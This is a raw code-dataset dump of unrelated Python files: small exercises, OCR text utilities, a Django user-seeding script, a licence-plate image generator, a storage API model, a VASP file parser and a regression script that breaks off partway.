blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
5
283
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
41
license_type
stringclasses
2 values
repo_name
stringlengths
7
96
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
58 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
12.7k
662M
star_events_count
int64
0
35.5k
fork_events_count
int64
0
20.6k
gha_license_id
stringclasses
11 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
43 values
src_encoding
stringclasses
9 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
7
5.88M
extension
stringclasses
30 values
content
stringlengths
7
5.88M
authors
sequencelengths
1
1
author
stringlengths
0
73
f579687df495370d1c6f2cfa5b06f9ce6c5641fb
02239bd9dc0d78fd3d6b2dd9d91e2ad45d7e982a
/guess_number.py
bdcb6f3c119cc70512d4e1801bbb37578cffe08c
[]
no_license
oupofat/lesson-2.1
76d0a8f132dd773360b840e8a6cc412aec0a4caf
4e6b23d744b8421a53024b7dddcb981255e2d00c
refs/heads/master
2021-05-01T21:18:13.772513
2018-02-10T02:20:18
2018-02-10T02:20:18
120,976,540
0
0
null
null
null
null
UTF-8
Python
false
false
698
py
'''Guess A Number Game You will write a guess-a-number game, where the player repeatedly guesses numbers between 1 to 10 until they guess your secret number. You will implement this game in these stages: Stage 1 Create a secret variable and set its value to your secret number --- pick a number between 1 and 10. Use a while loop to repeatedly ask the player for a guess. If the guess matches the secret number, print "You win!", and end the loop. If the guess is wrong, print "Wrong! Try again: " and ask for another guess.''' secret_number = 6 guess = int(input("guess a number")) while guess != secret_number: print("wrong") guess = int(input("Pick again")) print("You win")
d24a445bdcdc3eae3a08604a2725105f20c6ab48
73c690a083709e87819505bfffd2ee74129ede3e
/flaskapp/analysis/utils/text_utils.py
00b5162da3c2116de340ba0c06f6da649cab71a6
[]
no_license
wing-yiu/my-first-website
3da6db791ca695e133fdde6b31006751d6485f1e
2de453f2ed50afadb0f5c468bec7e19f18ce2641
refs/heads/master
2020-03-24T16:12:29.738223
2019-05-09T16:12:10
2019-05-09T16:12:10
142,816,653
0
0
null
null
null
null
UTF-8
Python
false
false
1,527
py
from typing import List, Text import re def process_text(text_chunks: List[Text]) -> Text: """ Given text chunks from image OCR results, apply preprocessing steps (lowercase, remove symbols etc.) and convert it into a single string :param text_chunks: string """ text = ' '.join(text_chunks) text = re.sub('\n', '', text) text = re.sub('[^a-zA-Z0-9]', '', text) return text.lower() def extract_mrz_from_chunks(text_chunks: List[Text]) -> Text: """ Given text chunks from image OCR results, extract the chunk that is most likely to be an MRZ and apply preprocessing steps (lowercase, remove symbols etc.) :param text_chunks: list of text """ # the chunk with most number of '<' is most likely to be MRZ text = max(text_chunks, key=lambda chunk: chunk.count('<')) text = re.sub('[^<a-zA-Z0-9]', '', text) return text.lower() def extract_mrz_from_pairs(text_chunks: List[Text]) -> Text: """ Given the special case where pytesseract recognises the MRZ as two separate chunks (usually consecutive), we split the chunks into pairs and find the pair that is most likely to contain the MRZ :param text_chunks: list of text """ # ['a', 'b', 'c', 'd', 'e'] -> ['ab', 'bc', 'cd', 'de'] # from the merged pairs, we guess which is most likely to contain MRZ text_chunks = list(filter(None, text_chunks)) pairs = [a + b for a, b in zip(text_chunks, text_chunks[1:])] return extract_mrz_from_chunks(pairs)
4fe6f81fd9b24ba3d783802fa3a7ba2fcbd439b5
ca5bc44c9fffc1a167876eeb3042664fb299d306
/20-10-14-revrot/python/__main__.py
1f4cf6a14d675baff1566feba16b3fdc4f71d90b
[ "MIT" ]
permissive
stogacs/cscex
954acb9dc5e8c899e6435f3c94107f5c9abd4ed1
40e3bca8bebc4ee8275d26185cae6f33a8bafcd6
refs/heads/master
2023-07-18T05:36:07.091100
2021-08-27T02:07:41
2021-08-27T02:07:41
216,451,464
0
1
null
null
null
null
UTF-8
Python
false
false
884
py
import unittest def revrot(s: str, sz: int) -> str: # Your implementation here! pass # Below are tests! class Tests(unittest.TestCase): # tests: ((string, chunk size), correct answer) cases = [(('123456987654', 6), '234561876549'), (('123456987653', 6), '234561356789'), (('66443875', 4), '44668753'), (('66443875', 8), '64438756'), (('664438769', 8), '67834466'), (('123456779', 8), '23456771'), (('', 8), ''), (('123456779', 0), ''), (('563000655734469485', 4), '0365065073456944')] def test(self): for (s, sz), answer in self.cases: self.run_test(s, sz, answer) def run_test(self, s: str, sz: int, answer: str): res = revrot(s, sz) self.assertEqual(res, answer) if __name__ == '__main__': unittest.main()
b2238c30b49d33184d3abcc4dacc1d411fbba643
04a16c1172389412f296ae1f1d6e3badeda5baca
/web-backends/web/service/api/init_user.py
f9c01f72c4a297063b4fb4d0d2607fc066bea5ef
[]
no_license
premepen/pen-stool
f425544aebb9de45a07a193ee0009b75fa17e4ba
23847d0cca809fe3930b44fc15563f37937a151f
refs/heads/master
2020-05-15T10:42:53.147930
2019-04-19T06:02:59
2019-04-19T06:02:59
182,198,944
1
1
null
null
null
null
UTF-8
Python
false
false
1,954
py
# coding:utf-8 from datetime import datetime from django.contrib.auth.models import User from service.models import UserProfile UserInfos = [ # dict(username="admin003", password="112233..", email="[email protected]", identity="SuperManager", truename="夜神月"), dict(username="admin001", password="112233..", email="[email protected]", identity="NetworkManager", truename="用户001"), dict(username="admin002", password="112233..", email="[email protected]", identity="NetworkManager", truename="用户002"), dict(username="mg001", password="112233..", email="[email protected]", identity="Manager", truename="用户006"), ] def delete_all_users(): for up in UserProfile.objects.all(): if up.user.username in ["admin007"]: UserProfile.objects.filter(user=User.objects.get(username=up.user.username)).update( truename="超级管理员", identity="SuperManager") up.save() User.objects.filter(username=up.user.username).update(email="[email protected]") else: up.delete() try: User.objects.all().delete() except: pass def init_users(): import logging logger = logging.getLogger('collect') delete_all_users() logger.debug("删除所有用户") for user_info in UserInfos: if user_info["username"] in [x.username for x in User.objects.all()]: logger.info("已经存在User对象 " + user_info["username"]) continue user = User(username=user_info["username"], password=user_info["password"], email=user_info["email"]) user.set_password(user_info["password"]) user.last_login = datetime.now() user.save() up = UserProfile(user=user, identity=user_info["identity"], passwd=user_info["password"], truename=user_info["truename"]) up.save() logger.info("创建了User对象 " + user_info["username"])
[ "meigea@[email protected]" ]
4d5deb7f277509a6a9f833abf735f575466b58d0
57e30a59f2924240251ae1842d8fd1bdde29fa0a
/main/generate_blue_plate.py
3a8d169e547af1212f9de453fa29fed1fce44321
[ "MIT" ]
permissive
Minionyh/plate_generator
f99b8361acf43f2940a084c0fcfd574c4ccbc1d1
cbea92aff070a8691a0394263e8f4b20b3f2c839
refs/heads/master
2022-11-05T11:30:42.891742
2020-06-22T09:25:18
2020-06-22T09:25:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,507
py
# encoding="utf-8" import os import cv2 import numpy as np import random import math from PIL import Image, ImageDraw ''' 随机抽取一张汽车背景图片,随机选择一张生成的车牌,将生成的车牌贴在汽车背景图片上,增加干扰线、干扰点、随机旋转和切边等,增加生成车牌的真实性 ''' # 颜色的算法是,产生一个基准,然后RGB上下浮动FONT_COLOR_NOISE MAX_FONT_COLOR = 100 # 最大的可能颜色 FONT_COLOR_NOISE = 10 # 最大的可能颜色 POSSIBILITY_RESIZE = 0.5 # 图像压缩的比例 POSSIBILITY_ROTATE = 0.7 # 图像旋转的比例 POSSIBILITY_INTEFER = 0.8 # 需要被干扰的图片比例,包括干扰线和点 INTERFER_LINE_NUM = 10 # 最多干扰线 INTERFER_LINE_WIGHT = 2 INTERFER_POINT_NUM = 10 # 最多干扰点 MAX_WIDTH_HEIGHT = 15 # 最大切边 MIN_WIDTH_HEIGHT = 0 # 最小切边 ROTATE_ANGLE = 5 # 最大旋转角度 # 随机接受概率 def _random_accept(accept_possibility): return np.random.choice([True,False], p=[accept_possibility,1 - accept_possibility]) def _get_random_point(x_scope,y_scope): x1 = random.randint(0,x_scope) y1 = random.randint(0,y_scope) return x1, y1 # 产生随机颜色 def _get_random_color(): base_color = random.randint(0, MAX_FONT_COLOR) noise_r = random.randint(0, FONT_COLOR_NOISE) noise_g = random.randint(0, FONT_COLOR_NOISE) noise_b = random.randint(0, FONT_COLOR_NOISE) noise = np.array([noise_r,noise_g,noise_b]) font_color = (np.array(base_color) + noise).tolist() return tuple(font_color) # 画干扰线 def randome_intefer_line(img,possible,line_num,weight): if not _random_accept(possible): return w,h = img.size draw = ImageDraw.Draw(img) line_num = random.randint(0, line_num) for i in range(line_num): x1, y1 = _get_random_point(w,h) x2, y2 = _get_random_point(w,h) _weight = random.randint(0, weight) draw.line([x1,y1,x2,y2],_get_random_color(),_weight) del draw def show(img, title='无标题'): """ 本地测试时展示图片 :param img: :param name: :return: """ import matplotlib.pyplot as plt from matplotlib.font_manager import FontProperties font = FontProperties(fname='/Users/yanmeima/workspace/ocr/crnn/data/data_generator/fonts/simhei.ttf') plt.title(title, fontsize='large', fontweight='bold', FontProperties=font) plt.imshow(img) plt.show() def rotate_bound(plate, background_image, possible): r = random.sample(range(MIN_WIDTH_HEIGHT, MAX_WIDTH_HEIGHT), 2) if not _random_accept(possible): background_image.paste(plate, (r[0], r[1])) else: plate_con = plate.convert("RGBA") p = Image.new('RGBA', (500, 200)) p.paste(plate_con, (10, 10)) angle = random.randrange(-ROTATE_ANGLE, ROTATE_ANGLE) plate_r = p.rotate(angle) r, g, b, a = plate_r.split() background_image.paste(plate_r, (4, 0), mask=a) return background_image def image_resize(image, possible): if not _random_accept(possible): return image w, h = image.size image = image.resize((int(w / 2), int(h / 2)), Image.ANTIALIAS) return image def main(bg_path, plate_path, data_txt_path, generator_path, generator_txt): files = os.listdir(bg_path) i = 0 for file in os.listdir(data_txt_path): txt_path = os.path.join(data_txt_path + file) with open(txt_path, "r", encoding='utf-8') as f: label = f.readline() image = Image.open(os.path.join(plate_path + file[:-4] + '.jpg')) # 在整张图上产生干扰点和线 randome_intefer_line(image, POSSIBILITY_INTEFER, INTERFER_LINE_NUM, INTERFER_LINE_WIGHT) # 随机抽取汽车背景图片 file = np.random.choice(files) background_image = Image.open(os.path.join(bg_path + file)) # 旋转 background_image = rotate_bound(image, background_image, POSSIBILITY_ROTATE) # 压缩车牌 background_image = image_resize(background_image, POSSIBILITY_RESIZE) i += 1 path = os.path.join(generator_path + str(i) + ".jpg") background_image.save(path) plate_txt = os.path.join(generator_txt + str(i) + ".txt") with open(plate_txt, "w", encoding='utf-8') as f1: f1.write(str(label)) if __name__ == "__main__": bg_path = "data/bg/" # 汽车背景图片路径 plate_path = "data/data/" # 生成原始车牌路径 data_txt_path = "data/data_txt/" # 生成原始车牌标签路径 generator_path = "data/plate/" # 生成样本车牌路径 generator_txt = "data/plate_txt/" # 生成样本车牌标签路径 main(bg_path, plate_path, data_txt_path, generator_path, generator_txt) print("处理完成") ## 测试 # if __name__ == "__main__": # path = "multi_val/bg/" # files = os.listdir(path) # file = np.random.choice(files) # background_image = Image.open(os.path.join(path + file)) # plate = Image.open("multi_val/data/云QF5H7P_blue_False.jpg") # # plate_con = plate.convert("RGBA") # p = Image.new('RGBA', (500, 200)) # p.paste(plate_con, (10, 10)) # plate_r = p.rotate(-5) # # r, g, b, a = plate_r.split() # background_image.paste(plate_r, (4, 0), mask=a) # background_image.save("multi_val/newImg.png", "PNG")
7442b645351223a7e579a1c48f2f42ff4a293348
4809471274d6e136ac66d1998de5acb185d1164e
/pypureclient/flasharray/FA_2_7/models/policy_rule_snapshot_post.py
84d29e372221653e09d61b36a969342cb025149e
[ "BSD-2-Clause" ]
permissive
astrojuanlu/py-pure-client
053fef697ad03b37ba7ae21a0bbb466abf978827
6fa605079950765c316eb21c3924e8329d5e3e8a
refs/heads/master
2023-06-05T20:23:36.946023
2021-06-28T23:44:24
2021-06-28T23:44:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,241
py
# coding: utf-8 """ FlashArray REST API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.7 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re import six import typing from ....properties import Property if typing.TYPE_CHECKING: from pypureclient.flasharray.FA_2_7 import models class PolicyRuleSnapshotPost(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'rules': 'list[PolicyrulesnapshotpostRules]' } attribute_map = { 'rules': 'rules' } required_args = { } def __init__( self, rules=None, # type: List[models.PolicyrulesnapshotpostRules] ): """ Keyword args: rules (list[PolicyrulesnapshotpostRules]): A list of snapshot policy rules to create. """ if rules is not None: self.rules = rules def __setattr__(self, key, value): if key not in self.attribute_map: raise KeyError("Invalid key `{}` for `PolicyRuleSnapshotPost`".format(key)) self.__dict__[key] = value def __getattribute__(self, item): value = object.__getattribute__(self, item) if isinstance(value, Property): raise AttributeError else: return value def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): if hasattr(self, attr): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(PolicyRuleSnapshotPost, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, PolicyRuleSnapshotPost): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
137ffd59156db4e492205f3e0ce459f70c3496ad
18b2d01779f735594b425c74dbe33fc9b6a7cd3d
/src/vaspfile.py
d6c081cf6ac0d286b1823c2284a49a43bd4c7d5e
[]
no_license
mjritz/GridDFT
3621a35cb2f8500904be50f01ad8271c54331d9e
2071e853ce2433f91e477097e449fe111c5afaf9
refs/heads/master
2020-03-22T04:38:33.346011
2019-07-09T17:16:09
2019-07-09T17:16:09
139,511,102
0
0
null
null
null
null
UTF-8
Python
false
false
11,395
py
import numpy as np import copy import string import sys def readvasp_outcar(filename): forcexyz=[] xyz=[] final_energy=0 opt_done=False coord_done=False f=open(filename,'r') vasp_outcar=f.readlines() i=np.size(vasp_outcar)-1 #find the stationary point coordinates in the file while i > 0: if vasp_outcar[i].strip().startswith('POSITION'): #skip i ahead to coordinates if coord_done: break coord_start=copy.copy(i)+2 coord_done=True i-=1 i=np.size(vasp_outcar)-1 while i > 0: if vasp_outcar[i].strip().startswith('free energy TOTEN'): final_energy=float(vasp_outcar[i].split()[4]) i-=1 #read coordinates i=coord_start while i <= np.size(vasp_outcar): if vasp_outcar[i].strip().startswith('--'):break xyz.append(vasp_outcar[i].split()[0:3]) i+=1 #read forces i=coord_start while i <= np.size(vasp_outcar): if vasp_outcar[i].strip().startswith('--'):break forcexyz.append(vasp_outcar[i].split()[3:6]) i+=1 #f.close() #read lattice vectors i=np.size(vasp_outcar)-1 while i > 0: if vasp_outcar[i].strip().startswith('A1'): A1xx=str(((vasp_outcar[i].split()[3]))) A1x=float(A1xx[:9]) A1yy=str(vasp_outcar[i].split()[4]) A1y=float(A1yy[:10]) A1zz=str(vasp_outcar[i].split()[5]) A1z=float(A1zz[:10]) A2xx=str(vasp_outcar[i+1].split()[3]) A2x=float(A2xx[:10]) A2yy=str(vasp_outcar[i+1].split()[4]) A2y=float(A2yy[:10]) A2zz=str(vasp_outcar[i+1].split()[5]) A2z=float(A2zz[:10]) A3xx=str(vasp_outcar[i+2].split()[3]) A3x=float(A3xx[:10]) A3yy=str(vasp_outcar[i+2].split()[4]) A3y=float(A3yy[:10]) A3zz=str(vasp_outcar[i+2].split()[5]) A3z=float(A3zz[:10]) i-=1 x_periodic = abs(np.array([A1x, A1y, A1z])) y_periodic =abs(np.array([A2x, A2y, A2z])) z_periodic = abs(np.array([A3x, A3y, A3z])) return np.array(xyz), np.array(forcexyz,float), y_periodic, x_periodic, z_periodic, final_energy def readvasp_poscar(filename): f=open(filename,'r') vasp_poscar=f.readlines() j=np.size(vasp_poscar)-1 xyz_old=[] x_vector=[] y_vector=[] z_vector=[] atnames=[] atnumbers=[] atom_name_array=[] while j > 0: if vasp_poscar[j].strip().startswith('Cartesian'): old_coord_start=copy.copy(j)+1 j-=1 j=np.size(vasp_poscar)-1 while j > 0: if vasp_poscar[j].strip().startswith('Direct'): old_coord_start=copy.copy(j)+1 j-=1 atnames.append(vasp_poscar[5].split()) atnames_array=np.array(atnames).T atnumbers.append(vasp_poscar[6].split()) atnumber_array=np.array(atnumbers,dtype=int).T x_vector.append(vasp_poscar[2].split()[0:3]) x_array=(np.array(x_vector, dtype=float)).T y_vector.append(vasp_poscar[3].split()[0:3]) y_array=np.array(y_vector,dtype=float).T z_vector.append(vasp_poscar[4].split()[0:3]) z_array=np.array(z_vector, dtype=float).T for i in range(np.size(atnames)): for j in range(atnumber_array[i]): atom_name_array.append(atnames_array[i]) #read old coordinates i=old_coord_start while i <= np.size(vasp_poscar): if vasp_poscar[i].strip()=='':break xyz_old.append(vasp_poscar[i].split()[0:3]) i+=1 return atnames_array, atom_name_array, np.array(xyz_old) def makeinput(template_filename,filename,xyz,z_frozen): #read in template f_template=open(template_filename,'r') f=open(filename,'w') packmol_template=string.Template(f_template.read()) #make formated xyz string coord_str="" for (i, (x,y,z)) in enumerate(xyz): if z >z_frozen: coord_str += "%15.5f%15.5f%15.5f %s %s %s\n" % (x, y, z, 'T', 'T', 'T') if z <z_frozen: coord_str += "%15.5f%15.5f%15.5f %s %s %s\n" % (x, y, z, 'F', 'F', 'F') input_str=packmol_template.substitute({'coordinates':coord_str}) f.write(input_str) f.close() f_template.close() #SPECIFIC TO BUILDING A SURFACE GRID. def ligand_vector(molecule_filename): f = open(molecule_filename, 'r') vasp_poscar=f.readlines() j=np.size(vasp_poscar)-1 ligands=[] x_vector=[] y_vector=[] z_vector=[] atnames=[] atnumbers=[] #Determine line to start reading coordinates while j>0: if vasp_poscar[j].strip().startswith('Direct'): molecule_atoms_start=copy.copy(j)+1 j-=1 atnames.append(vasp_poscar[5].split()) atnumbers.append(vasp_poscar[6].split()) x_vector.append(vasp_poscar[2].split()[0:3]) x_array=(np.array(x_vector, dtype=float)).T y_vector.append(vasp_poscar[3].split()[0:3]) y_array=np.array(y_vector,dtype=float).T z_vector.append(vasp_poscar[4].split()[0:3]) z_array=np.array(z_vector, dtype=float).T #Read in coordinates for Precursor i=molecule_atoms_start while i<=np.size(vasp_poscar): if vasp_poscar[i].strip()=='':break ligands.append(vasp_poscar[i].split()[0:3]) i+=1 #Convert direct coordinates to cartesian using CONTCAR ligand_array_direct=np.array(ligands,dtype=float) ligand_array_cartesian=np.zeros_like(ligand_array_direct,dtype=float) for i in range(ligand_array_direct.shape[0]): ligand_array_cartesian[i,0]=(ligand_array_direct[i,0]*x_array[0,0])+(ligand_array_direct[i,0]*x_array[1,0])+(ligand_array_direct[i,0]*x_array[2,0]) ligand_array_cartesian[i,1]=(ligand_array_direct[i,1]*y_array[0,0])+(ligand_array_direct[i,1]*y_array[1,0])+(ligand_array_direct[i,1]*y_array[2,0]) ligand_array_cartesian[i,2]=(ligand_array_direct[i,2]*z_array[0,0])+(ligand_array_direct[i,2]*z_array[1,0])+(ligand_array_direct[i,2]*z_array[2,0]) #Set up center molecule as first set of coordinates center_ligand=ligand_array_cartesian[0] ligand_vectors=np.zeros([ligand_array_cartesian.shape[0]-1, 3]) #create array with ligand vectors from center molecule for i in range(ligand_array_cartesian.shape[0]-1): ligand_vectors[i]=ligand_array_cartesian[i+1]-ligand_array_cartesian[0] return ligand_vectors def precursor_grid_build(surface_filename, grid_size,distance_from_surface): f = open(surface_filename, 'r') vasp_poscar=f.readlines() j=np.size(vasp_poscar)-1 x_vector=[] y_vector=[] z_vector=[] surface=[] atnames=[] atnumbers=[] #Determine line to start reading coordinates while j>0: if vasp_poscar[j].strip().startswith('Direct'): surface_atoms_start=copy.copy(j)+1 j-=1 atnames.append(vasp_poscar[5].split()) atnumbers.append(vasp_poscar[6].split()) x_vector.append(vasp_poscar[2].split()[0:3]) x_array=(np.array(x_vector, dtype=float)).T y_vector.append(vasp_poscar[3].split()[0:3]) y_array=np.array(y_vector,dtype=float).T z_vector.append(vasp_poscar[4].split()[0:3]) z_array=np.array(z_vector, dtype=float).T #Read in coordinates for Surface i=surface_atoms_start while i<=np.size(vasp_poscar): if vasp_poscar[i].strip()=='':break surface.append(vasp_poscar[i].split()[0:3]) i+=1 #Convert direct coordinates to cartesian using CONTCAR surface_array_direct=np.array(surface,dtype=float) surface_array_cartesian=np.zeros_like(surface_array_direct,dtype=float) for i in range(surface_array_direct.shape[0]): surface_array_cartesian[i,0]=(surface_array_direct[i,0]*x_array[0,0])+(surface_array_direct[i,0]*x_array[1,0])+(surface_array_direct[i,0]*x_array[2,0]) surface_array_cartesian[i,1]=(surface_array_direct[i,1]*y_array[0,0])+(surface_array_direct[i,1]*y_array[1,0])+(surface_array_direct[i,1]*y_array[2,0]) surface_array_cartesian[i,2]=(surface_array_direct[i,2]*z_array[0,0])+(surface_array_direct[i,2]*z_array[1,0])+(surface_array_direct[i,2]*z_array[2,0]) #Create Grid with N coordinates at set Z value Max_Z_coordinate=np.max(surface_array_cartesian[:,2]) Z_Grid_Value=Max_Z_coordinate+distance_from_surface x = np.linspace(0,1,num=grid_size, endpoint=False) y = np.linspace(0,1,num=grid_size, endpoint=False) gridx,gridy=np.meshgrid(x,y) Grid_Array=np.zeros([grid_size**2,3],float) for i in range(Grid_Array.shape[0]): Grid_Array[i,2]=Z_Grid_Value i=0 #for i in range(grid_array.shape[0]): for k in range(grid_size): for j in range(grid_size): Grid_Array[i,0]=(gridx[j,k]*x_array[0,0])+(gridx[j,k]*x_array[1,0])+(gridx[j,k]*x_array[2,0]) i+=1 i=0 #for i in range(grid_array.shape[0]): for k in range(grid_size): for j in range(grid_size): Grid_Array[i,1]=(gridy[j,k]*y_array[0,0])+(gridy[j,k]*y_array[1,0])+(gridy[j,k]*y_array[2,0]) i+=1 return surface_array_cartesian,Grid_Array def PES_geom_build(surface_array_cartesian, Grid_Array, ligand_vectors, precursor_atom_name, surface_atom_name): precursor=np.zeros([Grid_Array.shape[0], ligand_vectors.shape[0]+1, 4]) poscar_atoms=np.concatenate([precursor_atom_name, surface_atom_name]) a,b=np.unique(poscar_atoms,return_inverse=True) c=np.array(b) for i in range(Grid_Array.shape[0]): for j in range(ligand_vectors.shape[0]+1): if j==0: precursor[i,j,:] =[c[j],Grid_Array[i,0], Grid_Array[i,1], Grid_Array[i,2]] else: precursor[i,j,:]=[c[j],Grid_Array[i,0]+ligand_vectors[j-1,0],Grid_Array[i,1]+ligand_vectors[j-1,1],Grid_Array[i,2]+ligand_vectors[j-1,2]] #PA = poscar_atoms[0:ligand_vectors.shape[0]] #SA = poscar_atoms[ligand_vectors.shape[0]+1:c.size] SA_1=c[ligand_vectors.shape[0]+1:c.size] SA=np.transpose(SA_1) Surface_Coord_Name=np.column_stack((SA,surface_array_cartesian)) #creates tuple with size of [grid_shape^2, surface + precursor atoms, 4] PES_Geom = np.zeros([Grid_Array.shape[0], poscar_atoms.shape[0], 4]) PES_Geometry=np.zeros([Grid_Array.shape[0], poscar_atoms.shape[0], 3]) for i in range(Grid_Array.shape[0]): PES_Geom[i]=np.concatenate((precursor[i],Surface_Coord_Name),0) PES_Geom[i]=PES_Geom[i][PES_Geom[i,:,0].argsort()] PES_Geometry[i]=np.delete(PES_Geom[i], 0,axis=1) return PES_Geometry
cd8cc0f942099185285d0dd73b4c1c6706e8e60e
ee4130d915a66181f3c5cd74b78312a2319f0650
/beam_state.py
43d6bd06688d6ffcd20e4a56ef0cc8071728f520
[]
no_license
alexe1ka/hrm_test_task
d2945cf6b122fb3eb29664c8e7e683555138e3fd
5ab414df1a47b466382daa20c3f54c6af83ad2d6
refs/heads/master
2020-12-31T21:57:22.436642
2020-02-10T08:58:51
2020-02-10T08:58:51
239,042,900
0
0
null
null
null
null
UTF-8
Python
false
false
656
py
class BeamState: "information about the beams at specific time-step" def __init__(self): self.entries = {} def norm(self): "length-normalise LM score" for (k, _) in self.entries.items(): labelingLen = len(self.entries[k].labeling) self.entries[k].prText = self.entries[k].prText ** (1.0 / (labelingLen if labelingLen else 1.0)) def sort(self): "return beam-labelings, sorted by probability" beams = [v for (_, v) in self.entries.items()] sortedBeams = sorted(beams, reverse=True, key=lambda x: x.prTotal * x.prText) return [x.labeling for x in sortedBeams]
eee346b98c2726facf971db72ef2c5d6be0a7ee9
9ea4e1d14243a7864d99d9835cb5609b06f9b176
/ex8_4.py
1c8d2234ed904d7b3d8125a3444023535705f024
[]
no_license
sandeepkundala/Python-for-Everybody---Exploring-Data-in-Python-3-Exercise-solutions
30b81d50e2afe68e24baa524e5ba25248ef7bdef
520330058224aef155d02f443a31d18c0bc4020b
refs/heads/master
2021-05-02T05:03:21.530979
2018-02-09T17:44:11
2018-02-09T17:44:11
120,913,613
0
0
null
null
null
null
UTF-8
Python
false
false
472
py
# Chapter 8 # Exercise 4: Write a program to open the file romeo.txt and read it line by line. For each line, # split the line into a list of words using the split function. # For each word, check to see if the word is already in a list. If the word is not in # the list, add it to the list. fh = input('Enter file: ') fopen = open(fh) word = [] for line in fopen: words = line.split() for s in words: word.append(s) word.sort() print(word)
86486ffa66928213a486bb1603bf1d7d8886b948
61179dd70724ea2d60f280b3f4a5b77e7f7c3dee
/max/regression.py
bc9bcfee459bee34a8c048ed02dd642a67d9b377
[ "MIT" ]
permissive
maxisacson/sml-project
cc250c3f90b85788c879cdcc0229baaa5b6e42a7
f4ba04053e178854abd84eea49ae7244a43f0483
refs/heads/master
2021-01-10T07:29:13.364541
2016-04-21T17:00:07
2016-04-21T17:00:07
54,034,654
0
2
null
2016-04-21T14:14:19
2016-03-16T13:35:09
Python
UTF-8
Python
false
false
4,715
py
#!/usr/bin/env python3 import sys import traceback import matplotlib.pyplot as plt import pandas as pd import scipy as sp from sklearn.kernel_ridge import KernelRidge from sklearn.gaussian_process import GaussianProcess from sklearn.svm import SVR, NuSVR, LinearSVR from sklearn.cross_validation import KFold from sklearn.feature_selection import SelectKBest, f_regression pd.set_option('display.max_columns', 500) def getData(datafile): ds = pd.read_csv(datafile) return ds def main(argv): datafile = "../test/mg5pythia8_hp200.root.test3.csv" try: datafile = argv[1] except IndexError: pass ds = getData(datafile) ds.fillna(-999.) predictors = sp.array([ "et(met)", "phi(met)", #"nbjet", "njet", "pt(reco tau1)", "eta(reco tau1)", "phi(reco tau1)", "m(reco tau1)", "pt(reco bjet1)", "eta(reco bjet1)", "phi(reco bjet1)", "m(reco bjet1)", "pt(reco jet1)", "eta(reco jet1)", "phi(reco jet1)", "m(reco jet1)", "pt(reco jet2)", "eta(reco jet2)", "phi(reco jet2)", "m(reco jet2)", ], dtype=str) target = "pt(mc nuH)" #target = "m(true h+)" ds["m(true h+)"] = sp.sqrt( 2*(ds["pt(mc nuH)"]) *(ds["pt(mc tau)"]) *(sp.cosh(ds["eta(mc nuH)"] - ds["eta(mc tau)"]) - sp.cos(ds["phi(mc nuH)"] - ds["phi(mc tau)"]) ) ) selector = SelectKBest(score_func=f_regression, k=5) selector.fit(ds[predictors], ds[target]) ind = selector.get_support(indices=True) final_predictors = predictors[ind] print(final_predictors) ds = ds[:1000] folds = KFold(ds.shape[0], n_folds=3, random_state=123) models = {} models["gp"] = GaussianProcess(theta0=1e-2, thetaL=1e-4, thetaU=1e-1, nugget=1e-1) models["krr"] = KernelRidge(kernel='linear') models["svr"] = SVR(kernel='rbf', gamma=0.001, C=1e5) models["nusvr"] = NuSVR(kernel='linear') models["linearsvr"] = LinearSVR(C=1e1, loss='epsilon_insensitive', max_iter=1e4, verbose=True, tol=1e-1) model = models["gp"] predictions = [] try: for train, test in folds: training_sample = ds[final_predictors].iloc[train, :] target_sample = ds[target].iloc[train] testing_sample = ds[final_predictors].iloc[test, :] model.fit(training_sample, target_sample) pred = model.predict(testing_sample) predictions.append(pred) except MemoryError as e: print("MemoryError") type_, value_, traceback_ = sys.exc_info() traceback.print_tb(traceback_) sys.exit(1) except Exception as e: print("Unexpected exception") print(e) type_, value_, traceback_ = sys.exc_info() traceback.print_tb(traceback_) sys.exit(2) predictions = sp.concatenate(predictions, axis=0) t = sp.array(ds[target], dtype=float) met = sp.array(ds["et(met)"], dtype=float) resolution = (predictions - t)*100/t resolution_met = (met - t)*100/t print("") print("Prediction resolution: mean (sigma): {} ({})" .format(resolution.mean(), resolution.std())) print("MET resolution: mean (sigma): {} ({})" .format(resolution_met.mean(), resolution_met.std())) bins = sp.linspace(0, 400, 50) plt.subplot(2, 3, 1) plt.hist(t, bins, facecolor='blue', label='Obs', alpha=0.5, normed=1, histtype='stepfilled') plt.hist(predictions, bins, facecolor='orange', label='Pred', alpha=0.5, normed=1, histtype='stepfilled') plt.hist(met, bins, edgecolor='red', label='MET', alpha=0.5, normed=1, histtype='step', linewidth=2) plt.xlabel(target) plt.legend(loc='best') plt.subplot(2, 3, 2) plt.hist(resolution, sp.linspace(-100, 100, 50), facecolor='green', label='Res', alpha=0.5, histtype='stepfilled') plt.xlabel('Resolution') plt.legend(loc='best') plt.subplot(2, 3, 4) hist2d_pred, x_edges, y_edges = sp.histogram2d(t, predictions, bins=bins) plt.pcolor(hist2d_pred) plt.xlabel(target) plt.ylabel('Prediction') plt.subplot(2, 3, 5) plt.scatter(t, predictions) plt.xlabel(target) plt.ylabel('Prediction') 